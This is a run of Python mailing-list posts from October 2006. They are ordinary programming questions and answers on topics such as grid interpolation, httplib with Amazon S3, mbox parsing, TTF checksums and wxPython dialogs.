> On 13 Oct 2006 07:33:17 -0700, bcdonovan at gmail.com <bcdonovan at gmail.com> 
> wrote:
>> Hi everyone,
>>
>>   I'm wondering if anyone knows of a way to extract data from a numeric
>> array along a line. I have a gridded dataset which I would like to be
>> able to choose two points and extract a 1-d array of the data values
>> along the line between the two points. Any ideas?
>
> Are these all 45 degree lines or what?
>
> If not, you'll have to use trigonometry and approximate the closest
> matching cell. (Don't worry, Python has maths functions!! :))
>
> -- Theerasak

No need for that messy trig stuff - simpler and faster would be to use 
linear interpolation, since you know the starting and ending cell 
coordinates, and how many values you want, compute the array of... oh, hell, 
here it is:

start = (4,10)
end = (304,310)
n = 11

dn = ((end[0]-start[0])/float(n),(end[1]-start[1])/float(n))
interpedNodes = [ (start[0]+dn[0]*x, start[1]+dn[1]*x) for x in range(n+1) ]

for nod in interpedNodes:
    print nod
print

cellNodes = map(lambda ii: (int(round(ii[0])), int(round(ii[1]))), 
interpedNodes)
for nod in cellNodes:
    print nod

Prints out:
(4.0, 10.0)
(31.272727272727273, 37.272727272727273)
(58.545454545454547, 64.545454545454547)
(85.818181818181813, 91.818181818181813)
(113.09090909090909, 119.09090909090909)
(140.36363636363637, 146.36363636363637)
(167.63636363636363, 173.63636363636363)
(194.90909090909091, 200.90909090909091)
(222.18181818181819, 228.18181818181819)
(249.45454545454547, 255.45454545454547)
(276.72727272727275, 282.72727272727275)
(304.0, 310.0)

(4, 10)
(31, 37)
(59, 65)
(86, 92)
(113, 119)
(140, 146)
(168, 174)
(195, 201)
(222, 228)
(249, 255)
(277, 283)
(304, 310) 




From neoedmund at gmail.com  Sun Oct 15 22:25:50 2006
From: neoedmund at gmail.com (neoedmund)
Date: 15 Oct 2006 19:25:50 -0700
Subject: python's OOP question
In-Reply-To: <1160965310.124476.67550@e3g2000cwe.googlegroups.com>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<1160965310.124476.67550@e3g2000cwe.googlegroups.com>
Message-ID: <1160965550.658535.122030@i42g2000cwa.googlegroups.com>

thank you, Kay.

But i need a "dynamic" way. Say i have a existing class, and add some
method from other class into it.


Kay Schluehr wrote:
> neoedmund wrote:
> > There's a program, it's result is "unexpected aaa", i want it to be
> > "expected aaa". how to make it work?
> >
> > [code]
> >
> > class C1(object):
> > 	def v(self, o):
> > 		return "expected "+o
> >
> > class C2(object):
> > 	def v(self, o):
> > 		return "unexpected "+o
> > 	def m(self):
> > 		print self.v("aaa")
> >
> > class C3(object):
> > 	def nothing(self):
> > 		pass
> >
> > def test1():
> > 	o = C3()
> > 	setattr(o,"m",C2().m)
> > 	setattr(o,"v",C1().v)
> > 	o.m()
> >
> > test1()
> >
> > [/code]
>
> class C3(C1, C2):pass
>
> >>> C3.mro()  # shows method resolution order
> [<class '__main__.C3'>, <class '__main__.C1'>, <class '__main__.C2'>,
> <type 'object'>]
> 
> >>> o = C3()
> >>> o.m()
> expected aaa



From hxianping at gmail.com  Mon Oct 30 23:56:55 2006
From: hxianping at gmail.com (steve)
Date: 30 Oct 2006 20:56:55 -0800
Subject: Cann't connect zope server
Message-ID: <1162270615.087859.193690@m73g2000cwd.googlegroups.com>

Can I ask question about zope here?

I started Zserver but could not connect to it using firefox.The runzope
gave message:

/usr/bin/zope/instance/bin/runzope -X debug-mode=on
2006-10-31 12:50:45 INFO ZServer HTTP server started at Tue Oct 31
12:50:45 2006
        Hostname: 0.0.0.0
        Port: 8080
2006-10-31 12:50:45 CRITICAL Zope A user was not specified to setuid
to; fix this to start as root (change the effective-user directive in
zope.conf)
Traceback (most recent call last):
  File "/usr/bin/zope/lib/python/Zope2/Startup/run.py", line 56, in ?
    run()
  File "/usr/bin/zope/lib/python/Zope2/Startup/run.py", line 21, in run
    starter.prepare()
  File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 98,
in prepare
    self.dropPrivileges()
  File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 234,
in dropPrivileges
    return dropPrivileges(self.cfg)
  File "/usr/bin/zope/lib/python/Zope2/Startup/__init__.py", line 403,
in dropPrivileges
    raise ZConfig.ConfigurationError(msg)
ZConfig.ConfigurationError: A user was not specified to setuid to; fix
this to start as root (change the effective-user directive in
zope.conf)

I configured Username:root;How to setuid?etc.



From fredrik at pythonware.com  Fri Oct 13 06:39:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 13 Oct 2006 12:39:25 +0200
Subject: How to print the CDATA of .xml file?
References: <8c8dcbe30610130245q35b8eb81o951f3c82955b20b6@mail.gmail.com>
Message-ID: <egnqct$3h5$1@sea.gmane.org>

Kevien Lee wrote:

>   import xml.etree.ElementTree as ET

> use Python 2.5 is easy and good, but is there any others  way under
> version 2.4?

the ET API is available for 1.5.2 and newer:

    http://effbot.org/zone/element-index.htm

</F> 





From cutemonication2 at yahoo.com  Sat Oct  7 20:40:32 2006
From: cutemonication2 at yahoo.com (Get Pedia)
Date: Sun, 8 Oct 2006 09:40:32 +0900
Subject: Get Pedia
Message-ID: <eg9hdv$673$1082@main.corriga.net>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20061008/2837af4f/attachment.html>

From anthra.norell at vtxmail.ch  Sun Oct 15 02:30:51 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 15 Oct 2006 08:30:51 +0200
Subject: Insert characters into string based on re ?
In-Reply-To: <453154DE.80105@vtxmail.ch>
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
	<453154DE.80105@vtxmail.ch>
Message-ID: <4531D59B.8020007@vtxmail.ch>

Frederic Rentsch wrote:
> Matt wrote:
>> I am attempting to reformat a string, inserting newlines before certain
>> phrases. For example, in formatting SQL, I want to start a new line at
>> each JOIN condition. Noting that strings are immutable, I thought it
>> best to spllit the string at the key points, then join with '\n'.
>>
>> Regexps can seem the best way to identify the points in the string
>> ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need
>> to identify multiple locationg in the string. However, the re.split
>> method returns the list without the split phrases, and re.findall does
>> not seem useful for this operation.
>>
>> Suggestions?
>>
>>   
>
> Matt,
>
>   You may want to try this solution:
>
> >>> import SE 
... snip

>
> http://cheeseshop.python.org/pypi?:action=display&name=SE&version=2.3

For reasons unknown, the new download for SE is on the old page:  
http://cheeseshop.python.org/pypi/SE/2.2%20beta.
>
>
> Frederic
>
>
> ---------------------------------------------------------------------------------------------------------------------- 



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Thu Oct 12 16:25:49 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Thu, 12 Oct 2006 22:25:49 +0200
Subject: strings in the global section
References: <1160675040.806545.7620@i3g2000cwc.googlegroups.com>	<4p7dbsFh384nU1@individual.net>	<1160675533.899350.281040@i42g2000cwa.googlegroups.com>
	<4p7j4kFhis6pU1@individual.net>
	<mailman.395.1160682231.11739.python-list@python.org>
Message-ID: <4p7mmdFhh7eaU1@individual.net>

Tim Chase wrote:

> Sounded like the OP wanted a behavior similar to "auto-globals"
> that has been a long-cursed aspect of PHP.  That, without
> specifying it, local-variables should be global if their name
> exists in the global namespace.  

Sounds like a source of many hard to track down bugs.

>   I'm quite happy with not using "global" at all (okay, there's
> been once or twice I've wanted to modify a module-level settings
> structure, but otherwise...).

AOL

> For the most part, using "global" is cause to be smacked in the
> head as it makes for a nightmare maint.-wise.

ACK.

Regards,


Bj?rn

-- 
BOFH excuse #415:

Maintenance window broken



From gh at gregor-horvath.com  Fri Oct 20 05:40:15 2006
From: gh at gregor-horvath.com (Gregor Horvath)
Date: Fri, 20 Oct 2006 11:40:15 +0200
Subject: Webprogr: Link with automatic submit
Message-ID: <eha5i0$sk7$1@newsreader2.utanet.at>

Hi,

As I am no expert web programmer I thought I'd better ask the experts if
there is a simpler or better solution to my problem than the one I am
thinking of. (using TurboGears)

The problem
-----------

I have a form. Ok. you can submit, validate it etc.
Now I have a link on that form to another page.
What I want is that the form gets automatically submitted and validated
before the browser follows the link. If the validation has errors the
link should not be followed.

My solution
-----------

1. client side solution

First I thought I just make a little javascript function like this:

function xy(url) {
	document.form.submit();
	parent.location=url;
}

The problem is that submit works ansynchronisly. I do not get a return
code to decide if to follow the url or not. Furthermore the form does
not get submitted if there is the line parent.location=url; .

2. server side solution

I thought of including a hidden field and include directives for my
controller method to raise the redirection if no validation errors are
there.

<a href="#" onClick="xy('/somewhere')"></a>

function xy(url) {
        document.form.hiddenfield.value = "redirect_to: " + url;
	document.form.submit();
}

@expose
def mycontroller(self, *args, **kwargs):
   #do the usual saving stuff

   if hasattr(kwargs, 'hiddenfield'):
      #parse the JSON or mini-langage and do the redirection, when no
      #validation errors


As there might be more other directives necessery for client-server
communciation I thought of setting the hiddenfield value to JSON or a
self made mini-language and parse this in the controller.

Is this a good solution?
Are there any other options?

--
Greg



From smichr at gmail.com  Mon Oct 30 22:48:11 2006
From: smichr at gmail.com (smichr at gmail.com)
Date: 30 Oct 2006 19:48:11 -0800
Subject: slice's indices() method
In-Reply-To: <mailman.1474.1162204513.11739.python-list@python.org>
References: <1162203112.607390.220510@e3g2000cwe.googlegroups.com>
	<mailman.1474.1162204513.11739.python-list@python.org>
Message-ID: <1162266491.813604.308030@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:
> smichr at gmail.com wrote:
>
> > Is there any reason not to change the behavior of the indices() method
> > so it gives indices that can be used in range (to give indices
> > corresponding to elements that would be extracted by a given slice)
> > *and* used as arguments for slices so that the slice with the new
> > indices (obtained from the indices() method) would extract the same
> > elements as the original slice from whence they were obtained?
>
> and this month's "absolutely most pointless of all pointless proposals"
> award goes to...
>
> </F>

I don't see the suggestion that much different than wanting the output
of a function like ord() to be able to be used again in str() to get
back a given character. There was some good conversation about the
indices method a year ago...I was hoping to get some useful feedback as
to why this might not be an improvement to the behavior of the slice's
indices() method.

Although you have not run into the need to get the specific indices
from a slice (and perhaps that's why you think it's pointless) I did
need them and got bitten by the non-round-trip-able behavior of the
indices() method...and ended up writing a workaround rather than being
able to use the built in method.

/chris



From http  Wed Oct 25 17:47:08 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 14:47:08 -0700
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<453fd983$0$12298$426a74cc@news.free.fr>
Message-ID: <7xslhccbkz.fsf@ruckus.brouhaha.com>

Bruno Desthuilliers <bdesth.quelquechose at free.quelquepart.fr> writes:
> > But if the user doesn't enter any text, I don't want the method to
> > return at all (even None).
> 
> John, please re-read the FineManual(tm). None is the default return
> value of a function - even if there's no return statement.

Correct, but if the user doesn't enter text, the function is supposed
to loop and prompt for text again, instead of returning.


From ivoras at fer.hr  Thu Oct  5 07:16:53 2006
From: ivoras at fer.hr (Ivan Voras)
Date: Thu, 05 Oct 2006 13:16:53 +0200
Subject: Why do this?
In-Reply-To: <Xns985378283690Dduncanbooth@127.0.0.1>
References: <mailman.1336.1160044062.10491.python-list@python.org>
	<Xns985378283690Dduncanbooth@127.0.0.1>
Message-ID: <eg2pjt$rhm$1@news1.carnet.hr>

Duncan Booth wrote:

> print "There are"+number+"ways to skin a"+furryanimal
> 
> or at least something equivalent to it. If I try to make the same mistake 
> with a format string it jumps out to me as wrong:
> 
> "There are%sways to skin a%s" % (number, furryanimal)

Related to this, formatting with sequences is also much more readable 
when there are complex interpunction and quoting characters present, 
like this:

print "'"+var1+"','"+var2'"+","+var3

the above is much more readable as

print "'%s', '%s', %s" % (var1, var2, var3)


From matt at tplus1.com  Mon Oct  2 10:53:10 2006
From: matt at tplus1.com (Matthew Wilson)
Date: Mon, 02 Oct 2006 14:53:10 GMT
Subject: How to coerce a list of vars into a new type?
Message-ID: <slrnei29um.8ds.matt@mwilson.umlcoop.net>


I want to verify that three parameters can all be converted into
integers, but I don't want to modify the parameters themselves.

This seems to work:

    def f(a, b, c):

        a, b, c = [int(x) for x in (a, b, c)]

Originally, I had a bunch of assert isinstance(a, int) statements at the
top of my code, but I decided that I would rather just check if the
parameters can be converted into integers.

The new a, b, and c are all different objects, with different id values.
Anyhow, this all seems like black magic to me.  Can anyone explain what
is going on?

Is it as simple as call-by-value?




-- 
A better way of running series of SAS programs:
http://overlook.homelinux.net/wilsonwiki/SasAndMakefiles


From harry.g.george at boeing.com  Thu Oct 26 15:33:00 2006
From: harry.g.george at boeing.com (Harry George)
Date: Thu, 26 Oct 2006 19:33:00 GMT
Subject: What's the best IDE?
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
	<1161828498.791044.144040@f16g2000cwb.googlegroups.com>
	<7g40h.165$1n3.4282@news.tufts.edu>
	<fT40h.7805$5i7.6796@newsreading01.news.tds.net> <gG60h
Message-ID: <xqxu01qeutv.fsf@cola3.ca.boeing.com>

John Salerno <johnjsal at NOSPAMgmail.com> writes:

> Neil Cerutti wrote:
> > On 2006-10-26, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
> >> Hakusa at gmail.com wrote:
> >>> as I have yet to try Vim - maybe I'll try tomarrow.
> >> Warning: Vim isn't something you just "try tomorrow"  :)
> > You can become proficient enough for basic editing in about 20
> > minutes with the built-in tutorial.
> > Getting it to work seemlessly with Python code will take
> > considerably longer.
> >
> 
> Yeah, it was all the customizing that I could never figure out.

years ago this worked for people I was supporting:
 set softtabstop=4 shiftwidth=4 expandtab

Personally, I'm an emacs guy, so I wouldn't know.

-- 
Harry George
PLM Engineering Architecture


From fredrik at pythonware.com  Mon Oct  9 02:10:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 09 Oct 2006 08:10:30 +0200
Subject: Asychronous execution *with* return codes?
In-Reply-To: <1160059393.325634.167640@e3g2000cwe.googlegroups.com>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>	<1160053403.362330.136200@k70g2000cwa.googlegroups.com>
	<1160059393.325634.167640@e3g2000cwe.googlegroups.com>
Message-ID: <egcp4l$juf$1@sea.gmane.org>

utabintarbo wrote:

> If so, how do I handle the poll() on long-running processes? Run a
> bunch and then start a check loop?

or use a thread to keep track of each external process.

</F>




From dustin at v.igoro.us  Thu Oct 19 11:37:30 2006
From: dustin at v.igoro.us (Dustin J. Mitchell)
Date: Thu, 19 Oct 2006 10:37:30 -0500
Subject: httplib problems -- bug, or am I missing something?
Message-ID: <45379BBA.8000600@v.igoro.us>

I'm building an interface to Amazon's S3, using httplib.  It uses a
single object for multiple transactions.  What's happening is this:

HTTP > PUT /unitest-temp-1161039691 HTTP/1.1
HTTP > Date: Mon, 16 Oct 2006 23:01:32 GMT
HTTP > Authorization: AWS <<cough>>:KiTWRuq/6aay0bI2J5DkE2TAWD0=
HTTP > (end headers)
HTTP < HTTP/1.1 200 OK
HTTP < content-length: 0
HTTP < x-amz-id-2: 40uQn0OCpTiFcX+LqjMuzG6NnufdUk/..
HTTP < server: AmazonS3
HTTP < x-amz-request-id: FF504E8FD1B86F8C
HTTP < location: /unitest-temp-1161039691
HTTP < date: Mon, 16 Oct 2006 23:01:33 GMT
HTTPConnection.__state before response.read:  Idle
HTTPConnection.__response: closed? False length: 0
reading response
HTTPConnection.__state after response.read:  Idle
HTTPConnection.__response: closed? False length: 0

 ..later in the same connection..

HTTPConnection.__state before putrequest:  Idle
HTTPConnection.__response: closed? False length: 0
HTTP > DELETE /unitest-temp-1161039691 HTTP/1.1
HTTP > Date: Mon, 16 Oct 2006 23:01:33 GMT
HTTP > Authorization: AWS <<cough>>:a5OizuLNwwV7eBUhha0B6rEJ+CQ=
HTTP > (end headers)
HTTPConnection.__state before getresponse:  Request-sent
HTTPConnection.__response: closed? False length: 0
  File "/usr/lib64/python2.4/httplib.py", line 856, in getresponse
    raise ResponseNotReady()

If the first request does not precede it, the second request is fine.
To avoid excessive memory use, I'm calling request.read(16384)
repeatedly, instead of just calling request.read().  This seems to be
key to the problem -- if I omit the 'amt' argument to read(), then the
last line of the first request reads

HTTPConnection.__response: closed? True length: 0

and the later call to getresponse() doesn't raise ResponseNotReady.

Looking at the source for httplib.HTTPResponse.read, self.close() gets
called in the latter (working) case, but not in the former
(non-working).  It would seem sensible to add 'if self.length == 0:
self.close()' to the end of that function (and, in fact, this change makes the
whole thing work), but this comment makes me hesitant:

# we do not use _safe_read() here because this may be a .will_close
# connection, and the user is reading more bytes than will be provided
# (for example, reading in 1k chunks)

What's going on here?  Is this a bug I should report, or am I missing
something about how one should use httplib?

Thanks for any assistance.

Dustin


From fulvio at tm.net.my  Tue Oct 24 11:29:36 2006
From: fulvio at tm.net.my (Fulvio)
Date: Tue, 24 Oct 2006 23:29:36 +0800
Subject: Handling emails
In-Reply-To: <DJ6%g.18262$UG4.7941@newsread2.news.pas.earthlink.net>
References: <mailman.967.1161596728.11739.python-list@python.org>
	<DJ6%g.18262$UG4.7941@newsread2.news.pas.earthlink.net>
Message-ID: <200610242329.36839.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Tuesday 24 October 2006 01:12, Dennis Lee Bieber wrote:
> Message-id:
> <96D4BF841562DA44A7935AAC90A29D6405E5611B at emss01m12.us.lmco.com>
>
> as the ID is generally created when the message is submitted to the
> delivery system

Well, that's what I'm dealing with, since a couple of weeks :-) indeed.
Some might not have one, but Kmail should had fixed.
The second will be the way to get the whole email from the mbox file. My 
problem still remain, partially. I'm not sure if the below procedure will 
give me the emails off including multipart ones.

8<-------------8<-------------8<-------------8<-------------8<-------------
#! /usr/bin/env python

from __future__ import generators

import email, re
import mailbox
import email.Message

def getmbox(name):
    """Return an mbox iterator given a file/directory/folder name."""
    fp = open(name, "rb")
    mbox = mailbox.PortableUnixMailbox(fp, get_message)
    return iter(mbox)

def get_message(obj):
    """Return an email Message object."""

    if isinstance(obj, email.Message.Message):
        return obj
    # Create an email Message object.
    if hasattr(obj, "read"):
        obj = obj.read()
    try:
        msg = email.message_from_string(obj)
    except email.Errors.MessageParseError:

        obj = obj[len(headers):]
        msg = email.Message.Message()
    return msg

header_break_re = re.compile(r"\r?\n(\r?\n)")

def extract_headers(text):
    """Very simple-minded header extraction"""

    m = header_break_re.search(text)
    if m:
        eol = m.start(1)
        text = text[:eol]
    if ':' not in text:
        text = ""
    return text

if __name__ == '__main__':
    #simple trial with local mbox file
    import sys
    try:
        file =sys.argv[1]
    except IOError:
        print 'Must give a mbox file program /path/to_mbox'
        sys.exit()
    k = getmbox(file)
    while 1:
        full_email = get_message(k.next())
        print '%78s' %full_email
        answer= raw_input('More? Y/N')
        if answer.lower() == 'n': break

8<-------------8<-------------8<-------------8<-------------8<-------------
I admit that not all code is my genuine design, ;-) some other programs 
extrapolating have been done.

F




From jf.pieronne at laposte.net  Sun Oct 22 14:21:54 2006
From: jf.pieronne at laposte.net (=?ISO-8859-15?Q?Jean-Fran=E7ois_Pi=E9ronne?=)
Date: Sun, 22 Oct 2006 20:21:54 +0200
Subject: Socket module bug on OpenVMS
In-Reply-To: <453bb479$0$337$e4fe514c@news.xs4all.nl>
References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl>
	<453BB122.1020100@laposte.net>
	<453bb479$0$337$e4fe514c@news.xs4all.nl>
Message-ID: <453bb6ca$0$29082$426a34cc@news.free.fr>

Irmen de Jong a ?crit :
> Jean-Fran?ois Pi?ronne wrote:
> 
>> Which Python version, OpenVMS version, IP stack and stack version?
> 
> OpenVMS 7.3-2, Python 2.3.5, no idea about IP stack version.
> 
Thanks, may be upgrade to Python 2.5 will solve the problem.

>> If you think this is a Python on OpenVMS problem, send me a small
>> reproduced anf I will take a look.
> 
> I don't have any small case lying around (I can't reproduce it myself
> because I lack access to an openVMS machine) but I think you should
> be able to reproduce it by slightly altering one of the socket examples
> that comes with Python. Just add the MSG_WAITALL to the recv() call:
> 
>     something = sock.recv(somesize, socket.MSG_WAITALL)
> 
> and you should see it crash with a socket exception.
> 
Ok, I will try.

> Mail me offline if you still need running example code (that I think
> would expose the problem).
> 

Ok

>> If you think it's a OpenVMS problem and if you can provide a simple
>> reproducer and have a support contract I suggest you call HP, but I
>> suspect that if it's not documented the reply would be not (yet?)
>> supported.
> 
> I don't have anything to do with HP... the person that reported the
> problem to me has, however. He's already aware of the problem.
> 

You or the other person can also try to use

http://forums1.itrc.hp.com/service/forums/familyhome.do?familyId=288


>> May be a workaround is to not use MSG_WAITALL (currently) on OpenVMS and
>> in next version I will not defined MSG_WAITALL in the socket module on
>> OpenVMS.
> 
> How can I detect that I'm running on OpenVMS?
> 
>
for example

import sys
print sys.platform
'OpenVMS'


JF


From fredrik at pythonware.com  Mon Oct 30 07:27:55 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 13:27:55 +0100
Subject: CHM help file for Python 2.5
In-Reply-To: <1162210804.269452.288100@i42g2000cwa.googlegroups.com>
References: <1162210804.269452.288100@i42g2000cwa.googlegroups.com>
Message-ID: <ei4r4b$qs3$1@sea.gmane.org>

jiri.zahradil at gmail.com wrote:

> For Python 2.4, documentation was available in .chm format. For new
> Python 2.5,
> I am missing this format (download page:
> http://docs.python.org/download.html).
> Can anyone point me to new location of this version of manual,
> or tell me why this format is no longer supported ... ?

it's shipped with the standard installer.  look for "Python 2.5" -> 
"Python manuals" in your program menu.

</F>



From robin at reportlab.com  Wed Oct 25 08:05:56 2006
From: robin at reportlab.com (Robin Becker)
Date: Wed, 25 Oct 2006 13:05:56 +0100
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <453F4A52.3050200@v.loewis.de>
References: <mailman.1162.1161769345.11739.python-list@python.org>
	<453F4A52.3050200@v.loewis.de>
Message-ID: <453F5324.9020408@chamonix.reportlab.co.uk>

Martin v. L?wis wrote:
> Robin Becker schrieb:
>> Hi, just trying to avoid wheel reinvention. I have need of an unsigned
>> 32 bit arithmetic type to carry out a checksum operation and wondered if
>> anyone had already defined such a beast.
>>
>> Our current code works with 32 bit cpu's, but is failing with 64 bit
>> comparisons; it's clearly wrong as we are comparing a number with a
>> negated number; the bits might drop off in 32 bits, but not in 64.
> 
> Not sure what operations you are doing: In Python, bits never drop off
> (at least not in recent versions).
> 
> If you need to drop bits, you need to do so explicitly, by using the
> bit mask operations. I could tell you more if you'd tell us what
> the specific operations are.


This code is in a contribution to the reportlab toolkit that handles TTF fonts.
The fonts contain checksums computed using 32bit arithmetic. The original 
Cdefintion is as follows


> ULONG CalcTableChecksum(ULONG *Table, ULONG Length)
> {
> ULONG Sum = 0L;
> ULONG *Endptr = Table+((Length+3) & ~3) / sizeof(ULONG);
> 
> while (Table < EndPtr)
> 	Sum += *Table++;
> return Sum;
> }

so effectively we're doing only additions and letting bits roll off the end.

Of course the actual semantics is dependent on what C unsigned arithmetic does 
so we're relying on that being the same everywhere.

This algorithm was pretty simple in Python until 2.3 when shifts over the end of 
ints started going wrong. For some reason we didn't do the obvious and just do 
everything in longs and just mask off the upper bits. For some reason (probably 
my fault) we seem to have accumulated code like

def _L2U32(L):
     '''convert a long to u32'''
     return unpack('l',pack('L',L))[0]


if sys.hexversion>=0x02030000:
         def add32(x, y):
             "Calculate (x + y) modulo 2**32"
             return _L2U32((long(x)+y) & 0xffffffffL)
else:
         def add32(x, y):
             "Calculate (x + y) modulo 2**32"
             lo = (x & 0xFFFF) + (y & 0xFFFF)
             hi = (x >> 16) + (y >> 16) + (lo >> 16)
             return (hi << 16) | (lo & 0xFFFF)

def calcChecksum(data):
         """Calculates TTF-style checksums"""
         if len(data)&3: data = data + (4-(len(data)&3))*"\0"
         sum = 0
         for n in unpack(">%dl" % (len(data)>>2), data):
             sum = add32(sum,n)
         return sum

and also silly stuff like

def testAdd32(self):
     "Test add32"
     self.assertEquals(add32(10, -6), 4)
     self.assertEquals(add32(6, -10), -4)
     self.assertEquals(add32(_L2U32(0x80000000L), -1), 0x7FFFFFFF)
     self.assertEquals(add32(0x7FFFFFFF, 1), _L2U32(0x80000000L))

def testChecksum(self):
     "Test calcChecksum function"
     self.assertEquals(calcChecksum(""), 0)
     self.assertEquals(calcChecksum("\1"), 0x01000000)
     self.assertEquals(calcChecksum("\x01\x02\x03\x04\x10\x20\x30\x40"), 0x11223344)
     self.assertEquals(calcChecksum("\x81"), _L2U32(0x81000000L))
   _L2U32(0x80000000L))

where while it might be reasonable to do testing it seems the tests aren't very 
sensible eg what is -6 doing in a u32 test? This stuff just about works on a 32 
bit machine, but is failing miserably on a 64bit AMD. As far as I can see I just 
need to use masked longs throughout.

In a C extension I can still do the computation exfficiently on a 32bit machine, 
but I need to do masking for a 64 bit machine.
-- 
Robin Becker



From jpd at whispertel.LoseTheH.net  Wed Oct 11 16:38:51 2006
From: jpd at whispertel.LoseTheH.net (John Doty)
Date: Wed, 11 Oct 2006 14:38:51 -0600
Subject: Standard Forth versus Python: a case study
Message-ID: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com>

I realized that I have a little job on the table that is a fine test of 
the Python versus Standard Forth code availability and reusability issue.

Note that I have little experience with either Python or Standard Forth 
(but I have much experience with a very nonstandard Forth). I've noodled 
around a bit with both gforth and Python, but I've never done a serious 
application in either. In my heart, I'm more of a Forth fan: Python is a 
bit too much of a black box for my taste. But in the end, I have work to 
get done.

The problem:

I have a bunch of image files in FITS format. For each raster row in 
each file, I need to determine the median pixel value and subtract it 
from all of the pixels in that row, and then write out the results as 
new FITS files.

This is a real problem I need to solve, not a made-up toy problem. I was 
originally thinking of solving it in C (I know where to get the pieces 
in that language), but it seemed like a good test problem for the Python 
versus Forth issue.

I looked to import FITS reading/writing, array manipulation, and median 
determination. From there, the solution should be pretty easy.

So, first look for a median function in Python. A little googling finds:

http://www.astro.cornell.edu/staff/loredo/statpy/

Wow! This is good stuff! An embarrassment of riches here! There are even 
several FITS modules, and I wasn't even looking for those yet. And just 
for further gratification, the page's author is an old student of mine 
(but I'll try not to let this influence my attitude). So, I followed the 
link to:

http://www.nmr.mgh.harvard.edu/Neural_Systems_Group/gary/python.html

 From there, I downloaded stats.py, and the two other modules the page 
says it requires, and installed them in my site-packages directory. Then 
"from stats import median" got me a function to approximately determine 
the median of a list. It just worked. The approximation is good enough 
for my purposes here.

Pyfits required a little more resourcefulness, in part because STSCI's 
ftp server was down yesterday, but I got it installed too. It helps that 
when something is missing, the error message gives you a module name. It 
needs the numarray module, so I got array manipulation as a side effect.

I haven't finished the program, but I've tried out the pieces and all 
looks well here.

OK, now for Forth. Googling for "forth dup swap median" easily found:

http://www.taygeta.com/fsl/library/find.seq

At first blush, this looked really good for Forth. The search zeroed in 
on just what I wanted, no extras. The algorithm is better than the one 
in the Python stats module: it gives exact results, so there's no need 
to check that an approximation is good enough. But then, the 
disappointment came.

What do you do with this file? It documents the words it depends on, but 
not where to get them. I'm looking at a significant effort to assemble 
the pieces here, an effort I didn't suffer through with Python. So, my 
first question was: "Is it worth it?".

The answer came from searching for FITS support in Forth. If it exists 
in public, it must be really well hidden. That's a "show stopper", so 
there was no point in pursuing the Forth approach further.

In the end, it was like comparing a muzzle-loading sharpshooter's rifle 
with a machine gun: Forth got off one really good shot, but Python just 
mowed the problems down.

The advocates of the idea that Standard Forth has been a boon to code 
reusability seem mostly to be people with large private libraries of 
Forth legacy code. No doubt to them it really has been a boon. But I 
think this little experiment shows that for the rest of us, Python has a 
published base of reusable code that puts Forth to shame.

-- 
John Doty, Noqsi Aerospace, Ltd.
--
Specialization is for robots.


From mike$#at^&nospam!%trauschus  Mon Oct 23 20:58:56 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Mon, 23 Oct 2006 20:58:56 -0400
Subject: Python segmentation fault?
Message-ID: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>

Is there a way to debug scripts that cause segmentation faults?  I can
do a backtrace in gdb on Python, but that doesn't really help me all
that much since, well, it has nothing to do with my script... :-P

Any ideas?

	Thanks,
	Mike


From johnjsal at NOSPAMgmail.com  Wed Oct 25 14:32:47 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 18:32:47 GMT
Subject: cleaner way to write this?
In-Reply-To: <USN%g.148$1n3.4086@news.tufts.edu>
References: <USN%g.148$1n3.4086@news.tufts.edu>
Message-ID: <j5O%g.150$1n3.4013@news.tufts.edu>

John Salerno wrote:
> Hi guys. I'm looking for a nicer, more compact way of writing this code. 

Ok, one more thing. Let's assume I'm using this (or the other):

     def create_db_name(self):
         dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
                                  'Create New Database')
         if dlg.ShowModal() == wx.ID_OK:
             db_name = dlg.GetValue()
         else:
             db_name = None
         dlg.Destroy()
         return db_name

Now, one thing I want to prevent is assigning db_name the value of the 
text when OK is pressed if the text is an empty string. So I was 
thinking I could do this:

if dlg.ShowModal() == wx.ID_OK and dlg.GetValue()

I think 'dlg' would exist by the time Python evaluates the second half 
of the expression. But this would involve using dlg.GetValue() again 
within the if statement, which seems redundant.

But I'm also trying to avoid a lot of little if tests all over the 
place, and I definitely don't want to nest them if possible.

Of course, just using the above line isn't good enough, because this 
still assigns db_name to None and returns it. Instead, I'll need an 
error dialog box to pop up. This will involve a wxPython Validator class 
probably (although I suppose this is simple enough not to), but before I 
